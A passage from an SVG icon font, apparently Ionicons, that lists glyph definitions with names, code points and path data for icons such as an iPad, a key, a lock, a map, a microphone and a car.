c-23 -23 -52 -40 -84 -48zM167 362c-15 -15 -27 -39 -36 -67c-16 5 -33 11 -48 19c22 23 52 40 84 48zM289 104c6 24 9 51 10 80h84c-2 -39 -17 -75 -40 -103c-17 9 -35 17 -54 23zM216 100c18 -1 37 -3 54 -7c-13 -42 -34 -69 -54 -75v82zM127 280c-6 -24 -11 -51 -11 -80
h-83c2 39 17 75 40 103c17 -9 35 -17 54 -23zM116 184c1 -29 4 -56 10 -80c-19 -6 -36 -14 -53 -23c-23 28 -38 64 -40 103h83zM83 70c15 8 32 14 48 19c9 -28 21 -52 36 -67c-32 8 -62 25 -84 48z" />
    <glyph glyph-name="ion-ipad" unicode="&#xf1f9;" horiz-adv-x="288" 
d="M0 375c0 5 4 9 9 9h270c5 0 9 -4 9 -9v-366c0 -5 -4 -9 -9 -9h-270c-5 0 -9 4 -9 9v366zM144 10c8 0 14 6 14 14s-7 14 -14 14c-8 0 -14 -6 -14 -14s6 -14 14 -14zM32 329v-275c0 -4 3 -6 6 -6h211c3 0 7 2 7 6v275c0 4 -4 7 -7 7h-211c-3 0 -6 -3 -6 -7z" />
    <glyph glyph-name="ion-iphone" unicode="&#xf1fa;" horiz-adv-x="192" 
d="M168 384c13 0 24 -11 24 -24v-336c0 -13 -11 -24 -24 -24h-144c-13 0 -24 11 -24 24v336c0 13 11 24 24 24h144zM80 348v0c0 -2 2 -4 4 -4h24c2 0 4 2 4 4v0c0 2 -2 4 -4 4h-24c-2 0 -4 -2 -4 -4zM68 352c-2 0 -4 -2 -4 -4s2 -4 4 -4s4 2 4 4s-2 4 -4 4zM96 16
c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM176 64v256h-160v-256h160z" />
    <glyph glyph-name="ion-ipod" unicode="&#xf1fb;" horiz-adv-x="224" 
d="M112 137c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM196 384c15 0 28 -12 28 -28v-328c0 -16 -13 -28 -28 -28h-168c-15 0 -28 12 -28 28v328c0 16 13 28 28 28h168zM112 32c40 0 72 32 72 72s-32 72 -72 72s-72 -32 -72 -72s32 -72 72 -72z
M192 221v118c-1 7 -6 12 -12 13h-136c-7 -1 -12 -7 -12 -15v-114c0 -8 6 -15 14 -15h131c8 0 14 5 15 13z" />
    <glyph glyph-name="ion-jet" unicode="&#xf295;" horiz-adv-x="326" 
d="M222 80l-2 -13l53 -58l-18 -27l-74 9l-18 -55l-19 55l-73 -9l-18 27l53 58l-2 13l-104 -35l3 53l114 103s26 173 28 192c5 40 18 55 18 55s13 -15 18 -55c2 -19 28 -192 28 -192l114 -103l3 -53z" />
    <glyph glyph-name="ion-key" unicode="&#xf296;" horiz-adv-x="192" 
d="M144 147c28 -17 48 -48 48 -83c0 -53 -43 -96 -96 -96s-96 43 -96 96c0 36 19 67 48 84c0 0 7 16 12 41c0 4 11 6 11 12v20c0 5 -7 9 -7 11v8v8c0 2 0 4 1 6c0 1 1 1 1 2l2 1l4 4v1c2 2 3 4 3 6c0 1 1 8 1 9c0 3 -2 6 -4 8l-1 1l-4 4v0l-1 1v0c-2 2 -3 5 -3 8v7
c0 3 2 7 4 9v0l5 5v0c2 2 4 3 4 6v24c0 3 -2 6 -4 8v1l-4 4l-1 1c-2 2 -3 5 -3 8v18c0 11 0 19 9 23c3 1 14 3 23 3c20 0 30 -8 32 -36c0 0 7 -81 9 -143s7 -90 7 -90zM96 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-knife" unicode="&#xf297;" horiz-adv-x="64" 
d="M62 416c2 0 2 -1 2 -6v-412c0 -15 -10 -30 -24 -30v0v0c-14 0 -24 15 -24 30c1 19 14 83 16 130v0c1 30 -32 31 -32 70c0 134 35 191 54 214c2 2 5 4 8 4z" />
    <glyph glyph-name="ion-laptop" unicode="&#xf1fc;" horiz-adv-x="512" 
d="M480 342v-262h-448v262c0 6 4 10 10 10h428c6 0 10 -4 10 -10zM448 112v208h-384v-208h384zM0 59v5h512v-5c-70 -20 -116 -27 -256 -27s-186 7 -256 27z" />
    <glyph glyph-name="ion-leaf" unicode="&#xf1fd;" horiz-adv-x="422" 
d="M412 69c18 -3 10 -41 -5 -39c0 0 -21 -1 -63 12c0 0 -16 -19 -39 -30c-26 -12 -118 -33 -197 38c-108 97 -120 354 -100 333c86 -90 197 -47 270 -106c55 -44 88 -127 77 -192c0 0 5 -8 57 -16zM316 65c5 5 10 16 10 24c-161 52 -252 160 -252 160s104 -143 242 -184z
" />
    <glyph glyph-name="ion-levels" unicode="&#xf298;" horiz-adv-x="350" 
d="M46 349c11 -5 18 -16 18 -29s-7 -24 -18 -29v-275c0 -9 -7 -16 -16 -16s-16 7 -16 16v278c-8 6 -14 15 -14 26s6 20 14 26v22c0 9 7 16 16 16s16 -7 16 -16v-19zM142 155c9 -6 15 -16 15 -27s-6 -21 -15 -27v-85c0 -9 -7 -16 -16 -16s-16 7 -16 16v84
c-10 5 -17 16 -17 28s7 23 17 28v212c0 9 7 16 16 16s16 -7 16 -16v-213zM238 285c10 -6 16 -16 16 -28s-6 -22 -16 -28v-213c0 -9 -7 -16 -16 -16s-16 7 -16 16v213c-10 6 -16 16 -16 28s6 22 16 28v83c0 9 7 16 16 16s16 -7 16 -16v-83zM350 65c0 -12 -6 -22 -16 -28v-21
c0 -9 -7 -16 -16 -16s-16 7 -16 16v21c-10 6 -16 16 -16 28s6 22 16 28v275c0 9 7 16 16 16s16 -7 16 -16v-275c10 -6 16 -16 16 -28z" />
    <glyph glyph-name="ion-lightbulb" unicode="&#xf299;" horiz-adv-x="256" 
d="M128 416c71 0 128 -56 128 -124c0 -5 0 -9 -1 -14s-2 -11 -3 -16v-2c-17 -63 -45 -71 -59 -167v-1c-2 -9 -10 -12 -20 -12h-90c-10 0 -18 3 -20 12v1c-14 96 -42 104 -59 167v2c-1 5 -2 11 -3 16s-1 9 -1 14c0 68 57 124 128 124zM190 52v-1c-2 -3 -3 -4 -3 -7s1 -5 3 -8
v-1c1 -2 2 -3 2 -5s-1 -4 -2 -6v-1c-2 -3 -3 -4 -3 -7s1 -5 3 -8v-1c1 -2 2 -4 2 -6c0 -5 -4 -9 -10 -11h-1c-6 -1 -13 -2 -19 -3h-2c-6 -1 -11 -5 -14 -9v0c-4 -5 -10 -10 -18 -10s-15 6 -19 11v0c-3 4 -7 7 -13 8h-2c-6 1 -13 2 -19 3h-1c-6 2 -10 6 -10 11c0 2 1 4 2 6v1
c2 2 3 4 3 7s-1 5 -3 8v1c-1 2 -2 4 -2 6s1 3 2 5v1c2 3 3 5 3 8s-1 4 -3 7v1v0c-1 2 -2 4 -2 6c0 4 -1 6 7 6h114c8 0 7 -2 7 -6c0 -2 -1 -4 -2 -6v0z" />
    <glyph glyph-name="ion-link" unicode="&#xf1fe;" horiz-adv-x="384" 
d="M192 240v0v0v0zM304 288c44 0 80 -36 80 -80v-32c0 -44 -36 -80 -80 -80h-112c-33 0 -60 20 -73 48c-4 10 -7 20 -7 32v32h48v-32c0 -18 14 -32 32 -32h112c18 0 32 14 32 32v32c0 18 -14 32 -32 32v0h-16c-6 31 -32 48 -32 48h48zM266 240c4 -10 6 -21 6 -32v-32v0h-48
v0v32c0 18 -14 32 -32 32v0h-112c-18 0 -32 -14 -32 -32v-32c0 -18 14 -32 32 -32h16c6 -31 32 -48 32 -48h-48c-44 0 -80 36 -80 80v32c0 44 36 80 80 80h112c33 0 62 -20 74 -48z" />
    <glyph glyph-name="ion-load-a" unicode="&#xf29a;" horiz-adv-x="384" 
d="M144 352c0 43 21 64 64 64s64 -21 64 -64s-21 -64 -64 -64s-64 21 -64 64zM0 192c0 32 16 48 48 48s48 -16 48 -48s-16 -48 -48 -48s-48 16 -48 48zM312 304c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM132 340c10 -10 15 -22 15 -36s-5 -26 -15 -36s-22 -15 -36 -15
s-26 5 -36 15s-15 22 -15 36s5 26 15 36s22 15 36 15s26 -5 36 -15zM352 192c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16s-16 5 -16 16zM297 79c0 16 8 24 24 24s24 -8 24 -24s-8 -24 -24 -24s-24 8 -24 24zM176 32c0 21 11 32 32 32s32 -11 32 -32s-11 -32 -32 -32
s-32 11 -32 32zM56 80c0 27 13 40 40 40s40 -13 40 -40s-13 -40 -40 -40s-40 13 -40 40z" />
    <glyph glyph-name="ion-load-b" unicode="&#xf29b;" 
d="M256 288c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v96c0 18 14 32 32 32v0c18 0 32 -14 32 -32v-96zM224 128v0c18 0 32 -14 32 -32v-96c0 -18 -14 -32 -32 -32s-32 14 -32 32v96c0 18 14 32 32 32zM416 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32h-96
c-18 0 -32 14 -32 32s14 32 32 32h96zM128 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32h-96c-18 0 -32 14 -32 32s14 32 32 32h96zM314 237c-12 -12 -33 -12 -45 0v0c-12 12 -12 34 0 46l68 67c12 12 33 12 45 0v0c12 -12 12 -33 0 -45zM179 147v0c12 -12 12 -33 0 -46
l-68 -67c-12 -12 -33 -12 -45 0s-12 33 0 45l67 68c12 12 34 12 46 0zM382 79v0c12 -12 12 -33 0 -45s-33 -12 -45 0l-68 68c-12 12 -12 33 0 45s33 12 45 0zM179 282v0c12 -12 12 -33 0 -45s-34 -12 -46 0l-67 68c-12 12 -12 33 0 45s33 12 45 0z" />
    <glyph glyph-name="ion-load-c" unicode="&#xf29c;" 
d="M448 222c0 -3 0 -6 -1 -9c-4 -8 -15 -12 -23 -7c-4 2 -6 7 -7 11c-1 5 -1 9 -2 14c-4 20 -12 40 -22 58c-12 21 -28 41 -47 56c-18 15 -40 26 -62 33c-21 6 -42 9 -64 9h-4c-3 0 -6 -1 -9 -1c-6 0 -14 -1 -20 -2c-13 -2 -25 -6 -37 -11c-21 -8 -40 -20 -57 -35
s-31 -33 -42 -52c-12 -22 -20 -45 -24 -70c-2 -11 -2 -23 -2 -34c0 -6 0 -11 1 -16c1 -6 2 -13 3 -19c5 -24 14 -47 28 -67c13 -20 29 -38 48 -52c20 -15 42 -26 65 -33c25 -7 50 -9 76 -7c25 2 50 9 73 20c11 5 22 12 32 19s19 15 27 24c4 4 8 9 12 14s7 10 10 15
c6 10 12 20 17 31c4 8 8 16 11 25c2 4 3 9 4 13s1 7 2 11c1 -9 1 -18 -1 -26c-1 -5 -2 -11 -4 -16c-1 -5 -3 -10 -5 -15c-4 -10 -8 -19 -13 -28c-6 -11 -12 -21 -20 -30s-16 -18 -25 -26c-18 -15 -40 -27 -62 -36c-23 -9 -48 -14 -73 -15s-51 3 -75 11c-23 7 -45 19 -65 33
c-19 14 -36 31 -50 50c-7 10 -13 20 -18 31s-9 21 -13 33c-6 18 -9 37 -10 56c-1 20 1 39 5 58c5 24 15 47 28 68c12 19 26 35 42 50s35 27 55 36c23 11 48 19 74 21c10 1 19 1 29 1c13 0 26 -2 38 -4c24 -5 47 -14 68 -26s41 -29 57 -48c15 -18 27 -37 36 -58
c4 -10 7 -21 10 -32c2 -8 5 -17 6 -26z" />
    <glyph glyph-name="ion-load-d" unicode="&#xf29d;" horiz-adv-x="384" 
d="M368 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-80c-9 0 -16 7 -16 16s7 16 16 16h80zM112 192c0 -9 -7 -16 -16 -16h-80c-9 0 -16 7 -16 16s7 16 16 16h80c9 0 16 -7 16 -16zM192 112c9 0 16 -7 16 -16v-80c0 -9 -7 -16 -16 -16s-16 7 -16 16v80c0 9 7 16 16 16zM192 384
c9 0 16 -7 16 -16v-80c0 -9 -7 -16 -16 -16s-16 7 -16 16v80c0 9 7 16 16 16zM261 232c-4 8 -2 18 6 22l69 40c8 4 18 2 22 -6s2 -18 -6 -22l-69 -40c-8 -4 -18 -2 -22 6zM123 152c4 -8 2 -18 -6 -22l-69 -40c-8 -4 -18 -2 -22 6s-2 18 6 22l69 40c8 4 18 2 22 -6zM254 117
l40 -69c4 -8 2 -18 -6 -22s-18 -2 -22 6l-40 69c-4 8 -2 18 6 22s18 2 22 -6zM118 352l40 -69c4 -8 2 -18 -6 -22s-18 -2 -22 6l-40 69c-4 8 -2 18 6 22s18 2 22 -6zM232 261c-8 4 -10 14 -6 22l40 69c4 8 14 10 22 6s10 -14 6 -22l-40 -69c-4 -8 -14 -10 -22 -6zM152 123
c8 -4 10 -14 6 -22l-40 -69c-4 -8 -14 -10 -22 -6s-10 14 -6 22l40 69c4 8 14 10 22 6zM352 118c8 -4 10 -14 6 -22s-14 -10 -22 -6l-69 40c-8 4 -10 14 -6 22s14 10 22 6zM32 266c-8 4 -10 14 -6 22s14 10 22 6l69 -40c8 -4 10 -14 6 -22s-14 -10 -22 -6z" />
    <glyph glyph-name="ion-location" unicode="&#xf1ff;" horiz-adv-x="239" 
d="M119 384c66 0 120 -54 120 -120c0 -115 -120 -264 -120 -264s-119 149 -119 264c0 66 53 120 119 120zM119 206c31 0 57 25 57 56s-26 57 -57 57s-56 -26 -56 -57s25 -56 56 -56z" />
    <glyph glyph-name="ion-lock-combination" unicode="&#xf4d4;" horiz-adv-x="384" 
d="M320 271c39 -35 64 -86 64 -143c0 -106 -86 -192 -192 -192s-192 86 -192 192c0 57 25 108 64 143v49c0 71 57 128 128 128s128 -57 128 -128v-49zM96 320v-26c28 16 61 26 96 26s68 -10 96 -26v26c0 53 -43 96 -96 96s-96 -43 -96 -96zM192 -32c88 0 160 72 160 160
s-72 160 -160 160s-160 -72 -160 -160s72 -160 160 -160zM192 272c80 0 144 -64 144 -144s-64 -144 -144 -144s-144 64 -144 144s64 144 144 144zM315 95c2 9 4 18 4 29h-7v7h8c0 11 -2 20 -5 30l-25 -7l-4 12l25 8c-4 10 -8 18 -14 26l-11 -8l-4 6l11 8c-6 8 -13 16 -21 22
l-15 -21l-11 8l15 20c-8 6 -17 11 -27 14l-4 -13l-6 2l5 13c-9 3 -20 5 -29 5v-13v-6h-16v6v13c-11 -1 -19 -2 -29 -5l4 -12l-6 -2l-4 12c-10 -3 -19 -8 -27 -14l15 -20l-10 -8l-15 21c-8 -6 -16 -14 -22 -22l11 -8l-4 -5l-10 8c-6 -8 -10 -17 -14 -27l24 -8l-5 -12l-25 7
c-3 -10 -3 -19 -3 -30h6v-7h-5c0 -11 2 -20 4 -29l24 7l4 -12l-24 -8c4 -10 8 -19 14 -27l9 7l4 -5l-9 -7c6 -8 13 -16 21 -22l15 21l10 -8l-15 -20c8 -5 17 -11 27 -14l3 11l7 -2l-4 -11c10 -3 18 -4 29 -5v13v6h16v-6v-13c9 1 19 2 29 5l-5 12l6 2l4 -12c10 3 19 8 27 14
l-15 20l11 8l15 -21c8 6 15 14 21 22l-11 7l4 6l10 -8c6 8 11 17 15 27l-25 8l4 12zM111 128c0 54 27 81 81 81s81 -27 81 -81s-27 -81 -81 -81s-81 27 -81 81z" />
    <glyph glyph-name="ion-locked" unicode="&#xf200;" horiz-adv-x="384" 
d="M22 -32c-12 0 -22 10 -22 22v212c0 12 10 22 22 22h3h19v31c0 42 17 87 43 115s64 46 105 46v0v0c41 0 79 -18 105 -46s43 -73 43 -115v-31h22c12 0 22 -10 22 -22v-212c0 -12 -10 -22 -22 -22h-340zM97 255v-31h17h155h18v31c0 27 -10 61 -28 80v0v1
c-18 19 -42 29 -67 29v0v0c-25 0 -49 -10 -67 -29v-1v0c-18 -19 -28 -53 -28 -80z" />
    <glyph glyph-name="ion-log-in" unicode="&#xf29e;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224c-96 0 -177 60 -209 144h34c9 -20 23 -40 39 -56c36 -36 85 -56 136 -56s100 20 136 56s56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56c-16 -16 -30 -36 -39 -56h-34c32 84 113 144 209 144z
M175 124l52 52h-227v32h227l-52 52l22 23l91 -91l-91 -91z" />
    <glyph glyph-name="ion-log-out" unicode="&#xf29f;" 
d="M335 124l52 52h-227v32h227l-52 52l22 23l91 -91l-91 -91zM359 56c3 3 6 5 8 8h41c-40 -58 -108 -96 -184 -96c-124 0 -224 100 -224 224s100 224 224 224c76 0 144 -38 184 -96h-41c-2 3 -5 5 -8 8c-36 36 -84 56 -135 56s-100 -20 -136 -56s-56 -85 -56 -136
s20 -100 56 -136s85 -56 136 -56s99 20 135 56z" />
    <glyph glyph-name="ion-loop" unicode="&#xf201;" horiz-adv-x="334" 
d="M184 148v-58c49 8 86 50 86 102c0 16 -4 30 -10 44c-3 6 -5 12 -9 17l47 43c1 -1 2 -3 3 -4c21 -28 33 -62 33 -100v-4c-2 -72 -47 -131 -111 -154c-12 -4 -26 -8 -39 -9v-57l-76 67l-26 23l44 39zM0 196c2 72 48 133 113 155c12 4 24 7 37 8v57l76 -67l26 -23l-44 -39
l-59 -51l1 58c-49 -8 -86 -51 -86 -102c0 -16 4 -31 10 -45c3 -6 5 -11 9 -16l-47 -44c-1 2 -2 3 -3 5c-20 28 -33 63 -33 100v4z" />
    <glyph glyph-name="ion-magnet" unicode="&#xf2a0;" horiz-adv-x="384" 
d="M192 416c115 0 192 -78 192 -200c0 -49 -3 -77 -15 -128c-16 -66 -39 -113 -39 -113v-1c-2 -3 -6 -6 -10 -6c-1 0 -3 1 -4 1l-2 1l-50 20l-2 1c-3 2 -5 5 -5 9c0 1 0 3 1 4v1c7 16 27 59 37 101s13 63 13 108c0 71 -52 122 -116 122s-116 -51 -116 -122
c0 -45 3 -66 13 -108s30 -85 37 -101v-1c1 -1 1 -3 1 -4c0 -4 -2 -7 -5 -9l-2 -1l-50 -20l-2 -1c-1 0 -3 -1 -4 -1c-4 0 -8 3 -10 6v1s-24 47 -40 113c-12 51 -14 79 -14 128c0 122 77 200 192 200zM109 4c-9 19 -27 59 -36 98l-42 -12c13 -53 30 -92 35 -104l43 17v1z
M317 -14c5 12 23 51 36 104l-43 12c-9 -39 -26 -79 -35 -98v-1z" />
    <glyph glyph-name="ion-male" unicode="&#xf2a1;" 
d="M448 256l-63 63l-69 -69c22 -30 36 -66 36 -106c0 -97 -79 -176 -176 -176s-176 79 -176 176s79 176 176 176c40 0 76 -14 106 -36l69 69l-63 63h160v-160zM266 54c24 24 38 56 38 90s-14 66 -38 90s-56 38 -90 38s-66 -14 -90 -38s-38 -56 -38 -90s14 -66 38 -90
s56 -38 90 -38s66 14 90 38z" />
    <glyph glyph-name="ion-man" unicode="&#xf202;" horiz-adv-x="168" 
d="M84 341c-21 0 -37 17 -37 38s16 37 37 37s37 -16 37 -37s-16 -38 -37 -38zM121 333c28 0 47 -24 47 -48v-114c0 -22 -32 -22 -32 0v105h-5v-286c0 -28 -41 -31 -43 0v165h-1h-7v-165c-1 -29 -43 -30 -43 0v286h-6v-105c0 -22 -31 -22 -31 0v114c0 24 19 48 47 48h37h37z
" />
    <glyph glyph-name="ion-map" unicode="&#xf203;" 
d="M441 311c4 -3 7 -8 7 -14v-281c0 -6 -2 -11 -7 -14c-2 -1 -5 -2 -7 -2c-3 0 -6 0 -8 2l-97 66l-97 -66c-5 -3 -10 -3 -15 0l-97 66l-97 -66c-5 -3 -10 -3 -15 0s-8 8 -8 14v281c0 6 3 11 7 14l105 71c5 3 10 3 15 0l97 -66l98 66c5 3 10 3 15 0zM103 95v242l-71 -50v-242
zM135 95l73 -49v129l-4 -11c-7 2 -13 6 -20 10l8 13c5 -3 11 -6 16 -8v109l-73 49v-101c4 -2 9 -4 13 -7l-10 -13c-1 1 -2 1 -3 2v-123zM240 46l73 49v109c0 -1 -1 -1 -1 -2l-6 -6l-12 11l6 6c3 3 5 7 8 10l5 -5v119l-73 -49v-112h7l3 -15c-3 0 -6 -1 -9 -1h-1v-114zM416 46
v242l-71 49v-88c3 1 5 1 8 2l4 -16c-4 -1 -8 -1 -12 -3v-137zM97 227c-3 -1 -11 -5 -14 -7l-11 12c4 3 8 6 12 8c3 2 6 3 9 4l5 -15c-2 -1 1 -1 -1 -2zM265 182c5 3 10 5 15 10l11 -12c-6 -6 -12 -10 -19 -13zM67 192v-1l-15 5v1c2 7 4 13 9 20l13 -9c-4 -5 -5 -10 -7 -16z
M166 210c3 -4 7 -8 11 -11l-11 -12c-4 4 -8 9 -12 13l-3 3l12 11c1 -1 2 -3 3 -4zM376 218l-11 12l10 10l-10 10l11 12l10 -11l11 11l11 -12l-10 -10l10 -10l-11 -12l-11 11z" />
    <glyph glyph-name="ion-medkit" unicode="&#xf2a2;" 
d="M440 304c4 0 8 -4 8 -8v-288c0 -4 -4 -8 -8 -8h-432c-4 0 -8 4 -8 8v288c0 4 4 8 8 8h120v31c1 28 22 49 51 49h45h45c30 0 50 -21 51 -49v-31h120zM160 331v-27h128v27v1v1c0 10 -9 19 -19 19h-45h-45c-10 0 -19 -9 -19 -19v-1v-1zM320 128v64h-64v64h-64v-64h-64v-64
h64v-64h64v64h64z" />
    <glyph glyph-name="ion-merge" unicode="&#xf33f;" horiz-adv-x="384" 
d="M320 224c35 0 64 -29 64 -64s-29 -64 -64 -64c-24 0 -44 13 -55 32h-10c-61 0 -115 25 -159 74v-115c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v210c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64c0 -19 -8 -37 -22 -49
c4 -9 17 -35 37 -58c32 -35 70 -53 112 -53h10c11 19 31 32 55 32zM64 384c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM64 0c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM320 128c18 0 32 14 32 32s-14 32 -32 32
s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-mic-a" unicode="&#xf204;" horiz-adv-x="288" 
d="M0 210c0 10 9 19 20 19s19 -9 19 -19v-14c0 -28 12 -53 31 -72s45 -31 74 -31s55 12 74 31s31 44 31 72v14c0 10 8 19 19 19s20 -9 20 -19v-14c0 -66 -46 -120 -108 -136c-1 0 -3 -1 -4 -1c-6 -2 -10 -7 -12 -13v-58c0 -11 -9 -20 -20 -20v0c-11 0 -20 9 -20 20v58
c-2 6 -6 11 -12 13c-1 0 -3 1 -4 1c-62 16 -108 70 -108 136v14zM67 340c0 42 34 76 77 76s78 -34 78 -76v-144c0 -42 -35 -75 -78 -75s-77 33 -77 75v144z" />
    <glyph glyph-name="ion-mic-b" unicode="&#xf205;" horiz-adv-x="160" 
d="M80 416c35 0 65 -23 76 -59c6 -18 4 -45 2 -55s-8 -20 -14 -28c-3 -4 -7 -7 -11 -9c-1 0 -1 -1 -2 -1c-3 -1 -6 -2 -10 -3c-12 -3 -25 -5 -39 -5v0h-1h-1v0c-14 0 -29 2 -41 5c-4 1 -7 2 -10 3c-1 0 -1 1 -2 1c-4 2 -8 5 -11 9c-6 8 -12 18 -14 28s-4 37 2 55
c11 36 41 59 76 59zM119 247c6 0 12 -5 12 -12v-2c-5 -67 -18 -241 -19 -252c0 0 -3 -13 -32 -13v0c-29 0 -32 13 -32 13c-1 11 -13 185 -18 252v2c0 7 5 12 11 12h1c1 0 1 -1 2 -1c2 0 4 -1 6 -1c9 -2 21 -2 31 -2s20 0 29 2c2 0 4 1 6 1c1 0 1 1 2 1h1zM90 166v33
c0 6 -4 11 -10 11s-10 -5 -10 -11v-33c0 -6 4 -11 10 -11s10 5 10 11z" />
    <glyph glyph-name="ion-mic-c" unicode="&#xf206;" horiz-adv-x="256" 
d="M201 416c30 0 55 -23 55 -52v-28h-59v-37h59v-43h-59v-37h59v-43h-59v-37h59v-42c0 -29 -25 -52 -55 -52h-30v-77h-86v77h-30c-30 0 -55 23 -55 52v42h152v37h-152v43h152v37h-152v43h152v37h-152v28c0 29 25 52 55 52h146z" />
    <glyph glyph-name="ion-minus-circled" unicode="&#xf207;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM352 176v32h-256v-32h256z" />
    <glyph glyph-name="ion-minus-round" unicode="&#xf208;" horiz-adv-x="384" 
d="M353 224c17 0 31 -14 31 -32s-14 -32 -31 -32h-322c-17 0 -31 14 -31 32s14 32 31 32h322z" />
    <glyph glyph-name="ion-minus" unicode="&#xf209;" horiz-adv-x="384" 
d="M0 160v64h384v-64h-384z" />
    <glyph glyph-name="ion-model-s" unicode="&#xf2c1;" horiz-adv-x="512" 
d="M509 57v-8v0v-1v-3v0c0 -3 -1 -5 -1 -7c-1 -12 -2 -18 -6 -20c-3 -2 -6 -2 -10 -2h-43s-10 1 -11 16v8c20 1 39 1 52 0c10 0 13 0 16 6c2 3 2 7 3 11zM3 57c1 -4 1 -8 3 -11c3 -6 6 -6 16 -6c13 1 32 1 52 0v-8c-1 -15 -8 -16 -11 -16h-43s-7 0 -10 2c-4 2 -6 8 -7 20v7
v0v3v1v0v8zM512 151c0 -31 -2 -58 -2 -68c0 -4 0 -11 -1 -18c-1 -4 -1 -8 -3 -11c-3 -6 -6 -6 -16 -6c-13 1 -32 1 -52 0c-13 0 -27 -2 -39 -2c-30 -1 -21 4 -34 4s-63 -2 -109 -2s-97 2 -110 2s-4 -5 -34 -4c-12 0 -25 2 -38 2c-20 1 -39 1 -52 0c-10 0 -13 0 -16 6
c-2 3 -2 7 -3 11c-1 7 -1 14 -1 18c0 10 -2 37 -2 68s4 61 6 64c1 2 8 9 26 21s17 10 20 18c-3 1 -5 3 -7 3c-4 0 -4 -3 -12 -3s-24 1 -28 5c-4 3 -5 5 -5 8s2 9 5 13s19 6 27 7s10 0 12 -1c4 -2 3 -22 3 -22l9 -1c5 13 12 41 24 62c13 23 26 30 32 32s10 2 48 6s69 5 96 5
s58 -1 96 -5s42 -4 48 -6s19 -9 32 -32c12 -21 19 -49 24 -62l9 1s-1 20 3 22c2 1 4 2 12 1s24 -3 27 -7s5 -10 5 -13s-1 -4 -5 -8s-20 -5 -28 -5s-8 3 -12 3c-2 0 -4 -2 -7 -3c3 -8 2 -6 20 -18s25 -19 26 -21c2 -3 6 -33 6 -64zM86 303c-5 -11 -11 -33 -10 -36
s-1 -5 15 -4s117 3 165 3s149 -2 165 -3s14 1 15 4s-5 25 -10 36s-17 31 -26 37c-2 1 -17 7 -54 9c-34 2 -72 3 -90 3s-56 -1 -90 -3c-37 -2 -52 -8 -54 -9c-7 -4 -21 -26 -26 -37zM123 178c7 2 11 2 11 2s-17 16 -48 25s-49 11 -66 10c0 0 -3 -16 0 -27s8 -10 16 -12
s13 -5 16 -4s7 4 12 4s29 -4 38 -4s14 4 21 6zM358 99c15 2 34 19 21 33c-18 19 -15 19 -55 24c-35 4 -61 4 -68 4s-33 0 -68 -4c-40 -5 -37 -5 -55 -24c-13 -14 6 -31 21 -33c14 -2 74 -3 102 -3s88 1 102 3zM492 188c3 11 0 27 0 27c-17 1 -35 -1 -66 -10s-48 -26 -48 -26
s4 1 11 -1s12 -6 21 -6s33 4 38 4s9 -3 12 -4s8 2 16 4s13 1 16 12z" />
    <glyph glyph-name="ion-monitor" unicode="&#xf20a;" 
d="M437 384c6 0 11 -5 11 -11v-266c0 -6 -5 -11 -11 -11h-426c-6 0 -11 5 -11 11v266c0 6 5 11 11 11h426zM416 128v224h-384v-224h384zM270 0h-92c-28 0 -42 3 -30 12s30 16 30 23c0 4 1 45 1 45h45h45s1 -41 1 -45c0 -7 18 -14 30 -23s-2 -12 -30 -12z" />
    <glyph glyph-name="ion-more" unicode="&#xf20b;" horiz-adv-x="384" 
d="M50 144c-28 0 -50 21 -50 48c0 26 22 48 50 48s50 -22 50 -48c0 -27 -22 -48 -50 -48zM192 144c-28 0 -50 21 -50 48c0 26 22 48 50 48s50 -22 50 -48c0 -27 -22 -48 -50 -48zM334 144c-28 0 -50 21 -50 48c0 26 22 48 50 48s50 -22 50 -48c0 -27 -22 -48 -50 -48z" />
    <glyph glyph-name="ion-mouse" unicode="&#xf340;" horiz-adv-x="256" 
d="M128 416h-1h5h-4zM251 255c2 1 2 1 4 1h1v-176c0 -37 -21 -71 -53 -91c-5 -3 -9 -5 -14 -7v-1v0c-18 -9 -39 -13 -61 -13c-71 0 -128 50 -128 112v176h1c2 0 3 0 5 -1v0c34 -13 76 -23 122 -23s88 10 122 23h1zM189 -18c5 2 10 4 14 7c-5 -3 -9 -5 -14 -7v0v-1v1v0z
M203 -11c-4 -3 -9 -5 -14 -7c5 2 9 4 14 7zM132 416c69 -2 124 -51 124 -112v-23c-2 -2 -4 -4 -6 -5c-1 -1 -3 0 -4 -1c-23 -10 -50 -16 -82 -19h-1h-2c-11 0 -17 0 -17 10v86c0 9 -7 16 -16 16s-16 -7 -16 -16v-85c0 -11 -6 -11 -17 -11h-2c-32 3 -61 9 -84 19v0
c-1 0 -1 1 -2 1c-3 1 -5 3 -7 5v23c0 61 57 111 127 112h5z" />
    <glyph glyph-name="ion-music-note" unicode="&#xf20c;" horiz-adv-x="384" 
d="M362 416c12 0 22 -9 22 -21v-303s-3 -43 -12 -55v0c-9 -15 -25 -21 -43 -21h-37c-28 0 -52 20 -52 48s24 48 52 48h60v192l-208 -38v-232c0 -8 -3 -27 -13 -41c-1 -2 -2 -3 -3 -5c0 -1 -1 -1 -2 -2v0c-9 -11 -23 -18 -38 -18h-37c-28 0 -51 20 -51 48s23 48 51 48v0h61
v286c1 14 13 28 27 32l218 33s3 1 5 1z" />
    <glyph glyph-name="ion-navicon-round" unicode="&#xf20d;" horiz-adv-x="384" 
